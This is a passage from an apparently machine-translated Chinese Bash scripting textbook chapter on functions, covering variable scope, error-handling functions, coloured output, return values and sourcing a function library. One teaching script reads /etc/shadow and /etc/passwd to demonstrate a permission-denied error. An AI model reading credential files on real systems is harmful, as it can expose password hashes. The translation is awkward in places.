章](08.html)、*变量和用户输入*中提出了同样的考虑,当我们处理变量命名时。重申一下:最重要的规则就是*要一致*。如果你想要我们对函数命名约定的建议,坚持我们为变量设计的命名约定:小写,用下划线分隔。这是我们在前面的例子中使用的,也是我们将在本书的其余部分中继续展示的。 - -# 可变范围 - -虽然函数很棒,但有些东西我们之前已经学过,我们需要在函数的范围内重新考虑,最明显的是变量。我们知道变量存储的信息可以在脚本中的多个点被多次访问或变异。然而,我们还没有了解到的是,变量总是有*范围的。*默认情况下,变量的范围是*全局*,这意味着它们可以在整个脚本中的任何点使用。功能的引入也带来了新的范围:*本地*。局部变量在函数中定义,并随着函数调用而生存和消亡。让我们来看看这是怎么回事: - -```sh -reader@ubuntu:~/scripts/chapter_13$ vim functions-and-variables.sh -reader@ubuntu:~/scripts/chapter_13$ cat functions-and-variables.sh -#!/bin/bash -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-11-11 -# Description: Show different variable scopes. -# Usage: ./functions-and-variables.sh -##################################### - -# Check if the user supplied at least one argument. -if [[ $# -eq 0 ]]; then - echo "Missing an argument!" - echo "Usage: $0 " - exit 1 -fi - -# Assign the input to a variable. -input_variable=$1 -# Create a CONSTANT, which never changes. -CONSTANT_VARIABLE="constant" - -# Define the function. -hello_variable() { - echo "This is the input variable: ${input_variable}" - echo "This is the constant: ${CONSTANT_VARIABLE}" -} - -# Call the function. -hello_variable -reader@ubuntu:~/scripts/chapter_13$ bash functions-and-variables.sh teststring -This is the input variable: teststring -This is the constant: constant -``` - -目前为止,一切顺利。我们可以在函数中使用我们的*全局*常数。这并不奇怪,因为它不被轻称为全局变量;它可以在脚本中的任何地方使用。现在,让我们看看当我们在函数中添加一些额外的变量时会发生什么: - -```sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.1.0 -# Date: 2018-11-11 -# Description: Show different variable scopes. -# Usage: ./functions-and-variables.sh -##################################### - -# Define the function. -hello_variable() { - FUNCTION_VARIABLE="function variable text!" - echo "This is the input variable: ${input_variable}" - echo "This is the constant: ${CONSTANT_VARIABLE}" - echo "This is the function variable: ${FUNCTION_VARIABLE}" -} - -# Call the function. -hello_variable - -# Try to call the function variable outside the function. -echo "Function variable outside function: ${FUNCTION_VARIABLE}" -``` - -你认为现在会发生什么?试一试: - -```sh -reader@ubuntu:~/scripts/chapter_13$ bash functions-and-variables.sh input -This is the input variable: input -This is the constant: constant -This is the function variable: function variable text! -Function variable outside function: function variable text! -``` - -与您可能怀疑的相反,我们在函数内部定义的变量实际上仍然是一个全局变量(抱歉欺骗您!).如果我们想使用本地范围的变量,我们需要添加内置的本地 shell: - -```sh -#!/bin/bash -##################################### -# Author: Sebastiaan Tammer -# Version: v1.2.0 -# Date: 2018-11-11 -# Description: Show different variable scopes. -# Usage: ./functions-and-variables.sh -##################################### - -# Define the function. -hello_variable() { - local FUNCTION_VARIABLE="function variable text!" - echo "This is the input variable: ${input_variable}" - echo "This is the constant: ${CONSTANT_VARIABLE}" - echo "This is the function variable: ${FUNCTION_VARIABLE}" -} - -``` - -现在,如果我们这次执行它,我们实际上会看到脚本在最后一个命令中表现不佳: - -```sh -reader@ubuntu:~/scripts/chapter_13$ bash functions-and-variables.sh more-input -This is the input variable: more-input -This is the constant: constant -This is the function variable: function variable text! -Function variable outside function: -``` - -由于局部加法,我们现在只能在函数内部使用变量及其内容。所以,当我们调用`hello_variable`函数时,我们看到了变量的内容,但是当我们试图在`echo "Function variable outside function: ${FUNCTION_VARIABLE}"`中的函数外打印它时,我们看到它是空的。这是期望和可取的行为。你能做的,有时真的很方便的是: - -```sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.3.0 -# Date: 2018-11-11 -# Description: Show different variable scopes. -# Usage: ./functions-and-variables.sh -##################################### - -# Define the function. -hello_variable() { - local CONSTANT_VARIABLE="maybe not so constant?" - echo "This is the input variable: ${input_variable}" - echo "This is the constant: ${CONSTANT_VARIABLE}" -} - -# Call the function. -hello_variable - -# Try to call the function variable outside the function. -echo "Function variable outside function: ${CONSTANT_VARIABLE}" -``` - -现在,我们已经定义了一个局部范围的变量*,其名称与我们已经初始化的全局范围的变量*相同!您可能知道接下来会发生什么,但请务必运行脚本并了解发生这种情况的原因: - -```sh -reader@ubuntu:~/scripts/chapter_13$ bash functions-and-variables.sh last-input -This is the input variable: last-input -This is the constant: maybe not so constant? -Function variable outside function: constant -``` - -因此,当我们在函数中使用`CONSTANT_VARIABLE`变量(记住,常数仍然被认为是变量,尽管是特殊的变量)时,它打印了局部作用域变量的值:`maybe not so constant?`。当在函数之外时,在脚本的主体中,我们再次打印变量的值,并且我们得到了最初定义的值:`constant`。 - -你可能很难想象这个用例。虽然我们同意您可能不会经常使用它,但它确实有它的位置。例如,想象一个复杂的脚本,其中一个全局变量被多个函数和命令顺序使用。现在,您可能会遇到这样一种情况,您需要变量的值,但需要稍加修改才能在函数中正确使用它。您还知道函数/命令需要原始值。现在,您可以将内容复制到一个新的变量中并使用它,但是通过在一个函数中*覆盖*变量,您可以让读者/用户更清楚地知道您有这样做的目的;这是一个明智的决定,你知道你需要那个例外*来完成那个功能*。使用局部变量(最好像往常一样带有注释)将确保可读性! - -Variables can be set read-only by using the `declare` built-in shell. If you check the help, with `help declare`, you'll see it described as `'Set variable values and attributes'`. A read-only variable such as a constant can be created by replacing `CONSTANT=VALUE` with `declare -r CONSTANT=VALUE`. If you do this, you can no longer (temporarily) override a variable with a local instance; Bash will give you an error. In practice, the `declare` command is not used too much as far as we have encountered, but it can serve useful purposes besides read-only declarations, so be sure to give it a look! - -# 实例 - -在本章的下一部分介绍函数参数之前,我们将首先研究一个不需要参数的函数的实际例子。我们将回到之前创建的脚本,看看是否有一些功能可以抽象为函数。剧透提醒:有一个很棒的,它处理一个叫做错误处理的小东西! - -# 错误处理 - -在[第 9 章](09.html)、*错误检查和处理*中,我们创建了以下结构:`command || { echo "Something went wrong."; exit 1; }`。正如您(希望)记得的那样,`||`语法意味着只有当左侧的命令具有非`0`的退出状态时,右侧的所有内容才会被执行。虽然这种设置运行良好,但并没有增加可读性。如果我们能把错误处理抽象成一个函数,并调用那个函数,那就更好了!就这么办吧: - -```sh -reader@ubuntu:~/scripts/chapter_13$ vim error-functions.sh -reader@ubuntu:~/scripts/chapter_13$ cat error-functions.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-11-11 -# Description: Functions to handle errors. -# Usage: ./error-functions.sh -##################################### - -# Define a function that handles minor errors. -handle_minor_error() { - echo "A minor error has occured, please check the output." -} - -# Define a function that handles fatal errors. -handle_fatal_error() { - echo "A critical error has occured, stopping script." - exit 1 -} - -# Minor failures. -ls -l /tmp/ || handle_minor_error -ls -l /root/ || handle_minor_error - -# Fatal failures. -cat /etc/shadow || handle_fatal_error -cat /etc/passwd || handle_fatal_error -``` - -这个脚本定义了两个函数:`handle_minor_error`和`handle_fatal_error`。对于一个小错误,我们将打印一条消息,但是脚本执行不会停止。然而,一个致命的错误被认为是如此严重,以至于脚本的流程预计会被中断;在这种情况下,继续脚本是没有用的,所以我们将确保函数停止它。通过使用结合了`||`构造的函数,我们不需要检查函数内部的退出代码;只有当退出代码不是`0`时,我们才会在函数中结束,所以我们已经知道我们处于错误的情况。在我们执行这个脚本之前,花点时间来思考一下*我们用这些功能提高了多少可读性*。完成后,运行带有调试输出的脚本,这样您就可以遵循整个流程: - -```sh -reader@ubuntu:~/scripts/chapter_13$ bash -x error-functions.sh -+ ls -l /tmp/ -total 8 -drwx------ 3 root root 4096 Nov 11 11:07 systemd-private-869037dc... -drwx------ 3 root root 4096 Nov 11 11:07 systemd-private-869037dc... -+ ls -l /root/ -ls: cannot open directory '/root/': Permission denied -+ handle_minor_error -+ echo 'A minor error has occured, please check the output.' -A minor error has occured, please check the output. -+ cat /etc/shadow -cat: /etc/shadow: Permission denied -+ handle_fatal_error -+ echo 'A critical error has occured, stopping script.' -A critical error has occured, stopping script. -+ exit 1 -``` - -如您所见,第一个命令`ls -l /tmp/`成功了,我们看到了它的输出;我们不进入`handle_minor_error`功能。下一个命令,我们确实预计会失败,确实如此。我们看到,我们现在进入函数,并打印了我们在那里指定的错误消息。但是,因为这只是一个小错误,我们继续脚本。然而,当我们到达`cat /etc/shadow`,我们认为这是一个重要的组成部分,我们遇到一个`Permission denied`消息,导致脚本执行`handle_fatal_error`。因为这个函数有一个`exit 1`,所以脚本被终止,第四个命令永远不会执行。这应该说明另一点:一个`exit`,即使从一个函数内部,也是全局的,并且终止脚本(不仅仅是函数)。如果您希望看到此脚本成功,请使用`sudo bash error-functions.sh`运行它。您将看到两个错误函数都没有执行。 - -# 用参数扩充函数 - -正如脚本可以接受参数形式的输入一样,函数也可以。实际上,大多数函数都将使用参数。静态函数,如早期的错误处理示例,在接受参数方面不如它们的对应函数强大或灵活。 - -# 富有色彩的 - -在下一个示例中,我们将创建一个脚本,允许我们以几种不同的颜色向终端打印文本。它是基于一个有两个参数的函数来实现的:`string`和`color`。看看下面的命令: - -```sh -reader@ubuntu:~/scripts/chapter_13$ vim colorful.sh -reader@ubuntu:~/scripts/chapter_13$ cat colorful.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-11-17 -# Description: Some printed text, now with colors! -# Usage: ./colorful.sh -##################################### - -print_colored() { - # Check if the function was called with the correct arguments. - if [[ $# -ne 2 ]]; then - echo "print_colored needs two arguments, exiting." - exit 1 - fi - - # Grab both arguments. - local string=$1 - local color=$2 - - # Use a case-statement to determine the color code. - case ${color} in - red) - local color_code="\e[31m";; - blue) - local color_code="\e[34m";; - green) - local color_code="\e[32m";; - *) - local color_code="\e[39m";; # Wrong color, use default. - esac - - # Perform the echo, and reset color to default with [39m. - echo -e ${color_code}${string}"\e[39m" -} - -# Print the text in different colors. -print_colored "Hello world!" "red" -print_colored "Hello world!" "blue" -print_colored "Hello world!" "green" -print_colored "Hello world!" "magenta" -``` - -这个剧本发生了很多事情。为了帮助您理解,我们将从函数定义的第一部分开始,一点一点地进行分析: - -```sh -print_colored() { - # Check if the function was called with the correct arguments. - if [[ $# -ne 2 ]]; then - echo "print_colored needs two arguments, exiting." - exit 1 - fi - - # Grab both arguments. - local string=$1 - local color=$2 -``` - -我们在函数体中做的第一件事是检查参数的数量。语法与我们通常对传递给整个脚本的参数进行的检查相同,这可能会有所帮助,也可能会令人困惑。要意识到的一件好事是`$#`构造适用于它被使用的范围;如果在主脚本中使用它,它会检查传递到那里的参数。如果在函数中使用它,就像这里一样,它会检查传递给函数的参数数量。`$1`、`$2`等等也是如此:如果在函数中使用,它们指的是传递给函数的有序参数,而不是一般的脚本。当我们抓住论点时,我们把它们写到*局部*变量;在这个简单的脚本中,我们并不严格需要这样做,但是当您只在本地范围内使用变量时,将变量标记为本地总是一个很好的做法。您可能会想象,在更大、更复杂的脚本中,许多函数使用的变量可能会意外地被称为相同的东西(在这种情况下,`string`是一个非常常见的词)。通过将它们标记为本地,您不仅提高了可读性,还防止了由同名变量引起的错误;总而言之,这是一个非常好的主意。让我们回到脚本的下一部分,案例陈述: - -```sh - # Use a case-statement to determine the color code. - case ${color} in - red) - color_code="\e[31m";; - blue) - color_code="\e[34m";; - green) - color_code="\e[32m";; - *) - color_code="\e[39m";; # Wrong color, use default. - esac -``` - -现在是介绍`case`的绝佳时机。案例陈述基本上是一条很长的`if-then-elif-then-elif-then...`链。变量的选择越多,链就会变得越长。有了`case`,你可以直接说`for certain values in ${variable}, do `。在我们的例子中,这意味着如果`${color}`变量是`red`,我们将另一个`color_code`变量设置为`\e[31m`(稍后将详细介绍)。如果是`blue`,我们就做点别的,同样的道理也适用于`green`。最后,我们将定义一个通配符;没有指定的变量的任何值都将通过那里,作为一种包罗万象的结构。如果指定的颜色是不兼容的东西,比如**狗**,我们就设置默认颜色。另一种选择是中断脚本,这有点对错误颜色的过度反应。要终止一个`case`,你将使用`esac`关键字(它是`case`的反义词),类似于`if`,它由它的反义词`fi`终止。 - -现在,进入终端上*颜色的技术方面。虽然我们一直在学习的大多数东西都是特定于 Bash 或 Linux 的,但打印的颜色实际上是由您的终端仿真器定义的。我们使用的颜色代码非常标准,应该由您的终端解释为*不按字面打印该字符,而是将`color`改为``* 。终端看到一个*转义序列*、`\e`,后面跟着一个*颜色代码*、`[31m`,并且知道您正在指示它打印一种不同于先前定义的颜色(通常是该终端仿真器的默认值,除非您自己更改了配色方案)。您可以使用转义序列做更多的事情(当然,只要您的终端仿真器支持这一点),例如创建粗体文本、闪烁文本和文本的另一种背景色。现在,记住*不是打印而是解释\ e[31m]序列。*对于`case`中的综合选项,您不希望显式设置颜色,而是向终端发送信号以*默认的*颜色打印。这意味着,对于每个兼容的终端仿真器,文本都以用户选择的颜色打印(或者默认分配)。* - -现在是脚本的最后一部分: - -```sh - # Perform the echo, and reset color to default with [39m. - echo -e ${color_code}${string}"\e[39m" -} - -# Print the text in different colors. -print_colored "Hello world!" "red" -print_colored "Hello world!" "blue" -print_colored "Hello world!" "green" -print_colored "Hello world!" "magenta" -``` - -`print_colored`函数的最后一部分实际打印彩色文本。它通过使用带有`-e`旗帜的好旧`echo`来做到这一点。`man echo`显示`-e` *启用反斜杠转义*。如果不指定此选项,您的输出将类似于`\e[31mHello world!\e[39m`。在这种情况下要知道的一件好事是,只要你的终端遇到一个色码转义序列,*所有后续的文字都会以该颜色打印!*因此,我们用`"\e[39m"`结束回声,这将所有后续文本的颜色重置为默认值。 - -最后,我们多次调用该函数,第一个参数相同,但第二个参数(颜色)不同。如果您运行该脚本,输出应该如下所示: - -![](img/82d06db9-52c7-4555-b8e5-f4e4ce7763d7.png) - -在前面的截图中,我的配色设置为黑上绿,这就是为什么最后的`Hello world!`是亮绿色。你可以看到它和`bash colorful.sh`是同一个颜色,这应该是你需要确认的所有确认,以确保`[39m`颜色代码实际上是默认的。 - -# 返回值 - -有些函数遵循*处理器*原型:它们接受输入,用它做一些事情,并将结果返回给调用者。这是一个经典的功能:根据输入,产生不同的输出。我们将通过一个示例来展示这一点,该示例将用户指定给脚本的输入反转。这通常是通过`rev`命令来完成的(实际上在我们的函数中也会通过`rev`来完成),但是我们正在围绕这个命令创建一个带有一些额外功能的包装函数: - -```sh -reader@ubuntu:~/scripts/chapter_13$ vim reverser.sh -reader@ubuntu:~/scripts/chapter_13$ cat reverser.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-11-17 -# Description: Reverse the input for the user. -# Usage: ./reverser.sh -##################################### - -# Check if the user supplied one argument. -if [[ $# -ne 1 ]]; then - echo "Incorrect number of arguments!" - echo "Usage: $0 " - exit 1 -fi - -# Capture the user input in a variable. -user_input="_${1}_" # Add _ for readability. - -# Define the reverser function. -reverser() { - # Check if input is correctly passed. - if [[ $# -ne 1 ]]; then - echo "Supply one argument to reverser()!" && exit 1 - fi - - # Return the reversed input to stdout (default for rev). - rev <<< ${1} -} - -# Capture the function output via command substitution. -reversed_input=$(reverser ${user_input}) - -# Show the reversed input to the user. -echo "Your reversed input is: ${reversed_input}" -``` - -由于这又是一个更长、更复杂的脚本,我们将一点一点地查看它,以确保您完全理解它。我们甚至在里面偷偷放了一个小惊喜,这证明了我们之前的一个说法,但是我们稍后会讲到。我们将跳过标题和输入检查,转到捕获变量: - -```sh -# Capture the user input in a variable. -user_input="_${1}_" # Add _ for readability. -``` - -在前面的大多数例子中,我们总是直接将输入映射到一个变量。然而,这一次我们展示了你也可以添加一些额外的文本。在本例中,我们接受用户的输入,并在前后添加下划线。如果用户输入`rain`,变量实际上会包含`_rain_`。这将在以后被证明是有见地的。现在,对于函数定义,我们使用以下代码: - -```sh -# Define the reverser function. -reverser() { - # Check if input is correctly passed. - if [[ $# -ne 1 ]]; then - echo "Supply one argument to reverser()!" && exit 1 - fi - - # Return the reversed input to stdout (default for rev). - rev <<< ${1} -} -``` - -`reverser`函数需要一个参数:要反转的输入。像往常一样,在我们实际做任何事情之前,我们首先检查输入是否正确。接下来,我们使用`rev`反转输入。然而,`rev`通常期望从文件或`stdin`输入,而不是变量作为参数。因为我们不想添加额外的回声和管道,所以我们使用一个这里的字符串(如[第 12 章](12.html)、*使用脚本中的管道和重定向*中所解释的),这允许我们直接使用变量内容作为`stdin`。由于`rev`已经将结果输出到`stdout`,我们不需要在这一点上提供任何东西,比如回声。 - -我们告诉过你我们会证明一个先前的陈述,在这种情况下与先前片段中的`$1`相关。如果函数中的`$1`与脚本的第一个参数*相关,而不是函数*的第一个参数*相关,我们就看不到我们在编写`user_input`变量时添加的下划线了。对于脚本来说,`$1`可以等于`rain`,在函数中,`$1`等于`_rain_`。当您运行脚本时,您肯定会看到下划线,这意味着每个函数都有自己的参数集!* - -将这一切联系在一起是剧本的最后一部分: - -```sh -# Capture the function output via command substitution. -reversed_input=$(reverser ${user_input}) - -# Show the reversed input to the user. -echo "Your reversed input is: ${reversed_input}" -``` - -由于`reverser`函数将反向输入发送到`stdout`,我们将使用命令替换将其捕获在变量中。最后,我们用`echo`打印一些澄清文本和反向输入给用户。结果将如下所示: - -```sh -reader@ubuntu:~/scripts/chapter_13$ bash reverser.sh rain -Your reversed input is: _niar_ -``` - -下划线等等,我们得到的是`rain: _nair_`的反义词。很好! - -To avoid too much complexity, we split the final part of this script in two lines. However, once you feel comfortable with command substitutions, you could save yourself the intermediate variable and use the command substitution directly within the echo, like so: `echo "Your reversed input is: $(reverser ${user_input})"`. We would recommend not making it much more complex than this, however, since that will start to affect the readability. - -# 函数库 - -当你读到这本书的这一部分时,你会看到 50 多个示例脚本。这些脚本中的许多都有一些共享组件:输入检查、错误处理和设置当前工作目录已经在多个脚本中使用。这段代码并没有真正改变;也许评论或回声略有不同,但实际上这只是重复的代码。将此与必须在脚本顶部定义函数的问题(或者至少在开始使用它们之前)联系起来,您的可维护性开始受到影响。我们都很幸运,对此有一个很好的解决方案:**创建自己的函数库!** - -# 来源 - -函数库的思想是定义在不同脚本之间共享的函数。这些是可重复的通用函数,不太关心要运行的特定脚本。当你创建一个新的脚本时,你要做的第一件事,就在标题之后,是*包含来自库的函数定义。*这个库无非是另一个 shell 脚本:不过,它只是用来定义函数的,所以它从来不调用任何东西。如果您要运行它,最终结果将与您运行一个空脚本一样。我们将首先创建我们自己的函数库,然后再考虑如何包含它。 - -创建函数库只有一个真正的考虑:放在哪里。您希望它在您的文件系统中只出现一次,最好是在一个可预测的位置。个人比较喜欢`/opt/`目录。但是,默认情况下`/opt/`仅对`root`用户可写。在多用户系统中,把它放在那里可能不是一个坏主意,它归`root`所有,每个人都可以阅读,但是由于这是单用户的情况,我们将把它直接放在我们的主目录中。让我们从图书馆开始: - -```sh -reader@ubuntu:~$ vim bash-function-library.sh -reader@ubuntu:~$ cat bash-function-library.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-11-17 -# Description: Bash function library. -# Usage: source ~/bash-function-library.sh -##################################### - -# Check if the number of arguments supplied is exactly correct. -check_arguments() { - # We need at least one argument. - if [[ $# -lt 1 ]]; then - echo "Less than 1 argument received, exiting." - exit 1 - fi - - # Deal with arguments - expected_arguments=$1 - shift 1 # Removes the first argument. - - if [[ ${expected_arguments} -ne $# ]]; then - return 1 # Return exit status 1. - fi -} -``` - -因为这是一个泛型函数,我们需要首先提供我们期望的参数数量,然后是实际的参数。保存预期的参数个数后,用`shift`*将*所有参数左移一位:`$2`变为`$1`、`$3`变为`$2`,将`$1`全部去掉。这样做,只剩下要检查的参数数量,预期数量安全地存储在变量中。然后我们比较这两个值,如果它们不相同,我们返回一个退出代码`1`。`return`与`exit`类似,但它并不停止脚本的执行:如果我们想这样做,调用函数的脚本应该处理好这一点。 - -要在另一个脚本中使用这个库函数,我们需要包含它。在 Bash 中,这被称为*采购*。采购是通过`source`命令实现的: - -```sh -source -``` - -语法很简单。一旦你`source`一个文件,它的所有内容都会被处理。在我们的库案例中,当我们只定义函数时,什么都不会执行,但是我们会有可用的函数。如果您正在获取包含实际命令的文件,如`echo`、`cat`或`mkdir`,这些命令*将被执行。*一如既往,一个例子抵得上千言万语,所以让我们看看如何使用`source`来包含库函数: - -```sh -reader@ubuntu:~/scripts/chapter_13$ vim argument-checker.sh -reader@ubuntu:~/scripts/chapter_13$ cat argument-checker.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-11-17 -# Description: Validates the check_arguments library function -# Usage: ./argument-checker.sh -##################################### - -source ~/bash-function-library.sh - -check_arguments 3 "one" "two" "three" # Correct. -check_arguments 2 "one" "two" "three" # Incorrect. -check_arguments 1 "one two three" # Correct. -``` - -很简单,对吧?我们使用完全限定的路径来获取文件(是的,即使`~`是速记,这仍然是完全限定的!)并继续使用另一个脚本中定义的函数。如果您使用 debug 运行这个函数,您将会看到该函数如我们所期望的那样工作: - -```sh -reader@ubuntu:~/scripts/chapter_13$ bash -x argument-checker.sh -+ source /home/reader/bash-function-library.sh -+ check_arguments 3 one two three -+ [[ 4 -lt 1 ]] -+ expected_arguments=3 -+ shift 1 -+ [[ 3 -ne 3 ]] -+ check_arguments 2 one two three -+ [[ 4 -lt 1 ]] -+ expected_arguments=2 -+ shift 1 -+ [[ 2 -ne 3 ]] -+ return 1 -+ check_arguments 1 'one two three' -+ [[ 2 -lt 1 ]] -+ expected_arguments=1 -+ shift 1 -+ [[ 1 -ne 1 ]] -``` - -第一个和第三个函数调用应该是正确的,而第二个应该会失败。因为我们在函数中使用了`return`而不是`exit`,所以即使在第二次函数调用返回`1`退出状态后,脚本仍会继续。如调试输出所示,第二次调用函数时,执行评估`2 not equals 3`并成功,这导致了`return 1`。对于其他调用,参数是正确的,返回`0`的默认返回代码(输出中未显示,但这确实是发生的情况;如果要自己验证,添加`echo $?`)。 - -现在,为了在实际的脚本中使用它,我们需要将用户给我们的所有参数传递给我们的函数。这可以使用`$@`语法来完成:其中`$#`对应于参数的数量,`$@`简单地打印所有参数。我们还将更新`argument-checker.sh`来检查脚本的参数: - -```sh -reader@ubuntu:~/scripts/chapter_13$ vim argument-checker.sh -reader@ubuntu:~/scripts/chapter_13$ cat argument-checker.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.1.0 -# Date: 2018-11-17 -# Description: Validates the check_arguments library function -# Usage: ./argument-checker.sh -##################################### - -source ~/bash-function-library.sh - -# Check user input. -# Use double quotes around $@ to prevent word splitting. -check_arguments 2 "$@" -echo $? -``` - -我们将预期数量的参数`2`和脚本接收的所有参数`$@`传递给我们的源函数。用一些不同的输入运行它,看看会发生什么: - -```sh -reader@ubuntu:~/scripts/chapter_13$ bash argument-checker.sh -1 -reader@ubuntu:~/scripts/chapter_13$ bash argument-checker.sh 1 -1 -reader@ubuntu:~/scripts/chapter_13$ bash argument-checker.sh 1 2 -0 -reader@ubuntu:~/scripts/chapter_13$ bash argument-checker.sh "1 2" -1 -reader@ubuntu:~/scripts/chapter_13$ bash argument-checker.sh "1 2" 3 -0 -``` - -太好了,一切似乎都在运转!最有趣的尝试可能是后两种,因为它们说明了*分词*经常带来的问题。默认情况下,Bash 会将每一段空白解释为一个分隔符。在第四个例子中,我们传递`"1 2"`字符串,由于引用,它实际上是*单个参数。如果我们不在`$@`周围使用双引号,就会出现这种情况:* - -```sh -reader@ubuntu:~/scripts/chapter_13$ tail -3 argument-checker.sh -check_arguments 2 $@ -echo $? - -reader@ubuntu:~/scripts/chapter_13$ bash argument-checker.sh "1 2" -0 -``` - -在这个例子中,Bash 将参数传递给函数,而不保留引号。该函数将接收`"1"`和`"2"`,而不是`"1 2"`。要时刻注意的事情! - -现在,我们可以使用预定义的函数来检查参数的数量是否正确。然而,目前我们不使用返回代码做任何事情。我们将对我们的`argument-checker.sh`脚本进行最后一次调整,如果参数数量不正确,将停止脚本执行: - -```sh -reader@ubuntu:~/scripts/chapter_13$ vim argument-checker.sh -reader@ubuntu:~/scripts/chapter_13$ cat argument-checker.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.2.0 -# Date: 2018-11-17 -# Description: Validates the check_arguments library function -# Usage: ./argument-checker.sh -##################################### - -source ~/bash-function-library.sh - -# Check user input. -# Use double quotes around $@ to prevent word splitting. -check_arguments 2 "$@" || \ -{ echo "Incorrect usage! Usage: $0 "; exit 1; } - -# Arguments are correct, print them. -echo "Your arguments are: $1 and $2" -``` - -因为这本书的页面宽度,我们用`\`将`check_arguments`一分为二:这表示 Bash 继续下一行。如果您愿意,可以省略它,将完整的命令放在一行中。如果我们现在运行脚本,我们将看到理想的脚本执行: - -```sh -reader@ubuntu:~/scripts/chapter_13$ bash argument-checker.sh -Incorrect usage! Usage: argument-checker.sh -reader@ubuntu:~/scripts/chapter_13$ bash argument-checker.sh dog cat -Your arguments are: dog and cat -reader@ubuntu:~/scripts/chapter_13$ bash argument-checker.sh dog cat mouse -Incorrect usage! Usage: argument-checker.sh -``` - -恭喜,我们已经开始创建函数库,并成功地在我们的一个脚本中使用了它! - -There is a somewhat confusing shorthand syntax for source: a single dot (`.`). If we wanted to use that shorthand in our scripts, it would simply be `. ~/bash-function-library.sh`. We are, however, not big fans of this syntax: the `source` command is not long or complicated, while a single `.` can easily be missed or misused if you forget a space after it (which can be hard to see!). Our advice: know the shorthand exists if you encounter it somewhere in the wild, but use the full built-in source when writing scripts. - -# 更多实际例子 - -我们将在本章的最后一部分用早期脚本中常用的操作来扩展函数库。我们将从前面的章节中复制一个脚本,并使用我们的函数库来替换可以用我们库中的函数处理的功能。 - -# 当前工作目录 - -包含在我们自己的私有函数库中的第一个候选项是正确设置当前的工作目录。这是一个非常简单的函数,所以我们将在不做过多解释的情况下添加它: - -```sh -reader@ubuntu:~/scripts/chapter_13$ vim ~/bash-function-library.sh -reader@ubuntu:~/scripts/chapter_13$ cat ~/bash-function-library.sh -#!/bin/bash -##################################### -# Author: Sebastiaan Tammer -# Version: v1.1.0 -# Date: 2018-11-17 -# Description: Bash function library. -# Usage: source ~/bash-function-library.sh -##################################### - -# Set the current working directory to the script location. -set_cwd() { - cd $(dirname $0) -} -``` - -因为函数库可能会频繁更新,所以正确更新标题中的信息非常重要。最好(最有可能是在企业环境中),将函数库的新版本提交给版本控制系统。在标题中使用适当的语义版本将有助于你保持一个干净的历史。特别是,如果您将此与配置管理工具(如 Chef.io、Puppet 和 Ansible)结合起来,您将很好地概括您所做的更改和部署。 - -现在,我们将更新上一章`redirect-to-file.sh`中的脚本,包括库包含和函数调用。最终结果应该如下: - -```sh -reader@ubuntu:~/scripts/chapter_13$ cp ../chapter_12/redirect-to-file.sh library-redirect-to-file.sh -reader@ubuntu:~/scripts/chapter_13$ vim library-redirect-to-file.sh -reader@ubuntu:~/scripts/chapter_13$ cat library-redirect-to-file.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-11-17 -# Description: Redirect user input to file. -# Usage: ./library-redirect-to-file.sh -##################################### - -# Load our Bash function library. -source ~/bash-function-library.sh - -# Since we're dealing with paths, set current working directory. -set_cwd - -# Capture the users' input. -read -p "Type anything you like: " user_input - -# Save the users' input to a file. > for overwrite, >> for append. -echo ${user_input} >> redirect-to-file.txt -``` - -出于教学目的,我们将文件复制到了当前章节的目录中;通常,我们只更新原始文件。我们只增加了函数库的包含,并用我们的`set_cwd`函数调用替换了神奇的`cd $(dirname $0)`。让我们从没有脚本的位置运行它,看看目录是否设置正确: - -```sh -reader@ubuntu:/tmp$ bash ~/scripts/chapter_13/library-redirect-to-file.sh -Type anything you like: I like ice cream, I guess -reader@ubuntu:/tmp$ ls -l -drwx------ 3 root root 4096 Nov 17 11:20 systemd-private-af82e37c... -drwx------ 3 root root 4096 Nov 17 11:20 systemd-private-af82e37c... -reader@ubuntu:/tmp$ cd ~/scripts/chapter_13 -reader@ubuntu:~/scripts/chapter_13$ ls -l - --rw-rw-r-- 1 reader reader 567 Nov 17 19:32 library-redirect-to-file.sh --rw-rw-r-- 1 reader reader 26 Nov 17 19:35 redirect-to-file.txt --rw-rw-r-- 1 reader reader 933 Nov 17 15:18 reverser.sh -reader@ubuntu:~/scripts/chapter_13$ cat redirect-to-file.txt -I like ice cream, I guess -``` - -因此,即使我们使用了`$0`语法(如您所记得的,它打印了脚本的完全限定路径),我们在这里看到它指的是`library-redirect-to-file.sh`的路径,而不是您可能合理假设的`bash-function-library.sh`脚本的位置。这应该证实了我们的解释,即只包含函数定义,并且当函数在运行时被调用时,它们呈现包含它们的脚本环境。 - -# 类型检查 - -我们在许多脚本中做的事情是检查参数。我们从一个允许检查用户输入的参数数量的函数开始我们的库。我们经常对用户输入执行的另一个操作是验证输入类型。例如,如果我们的脚本需要一个数字,我们希望用户实际输入一个数字,而不是一个单词(或者一个写出来的数字,如“11”)。您可能还记得大概的语法,但我相信如果您现在再次需要它,您会在我们的旧脚本中找到它。这听起来不像是库函数的理想候选吗?我们创建并彻底测试我们的功能一次,然后我们可以感到安全,只是采购和使用它!让我们创建一个函数来检查传递的参数是否真的是整数: - -```sh -reader@ubuntu:~/scripts/chapter_13$ vim ~/bash-function-library.sh -reader@ubuntu:~/scripts/chapter_13$ cat ~/bash-function-library.sh -#!/bin/bash -``` - -```sh - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.2.0 -# Date: 2018-11-17 -# Description: Bash function library. -# Usage: source ~/bash-function-library.sh -##################################### - - -# Checks if the argument is an integer. -check_integer() { - # Input validation. - if [[ $# -ne 1 ]]; then - echo "Need exactly one argument, exiting." - exit 1 # No validation done, exit script. - fi - - # Check if the input is an integer. - if [[ $1 =~ ^[[:digit:]]+$ ]]; then - return 0 # 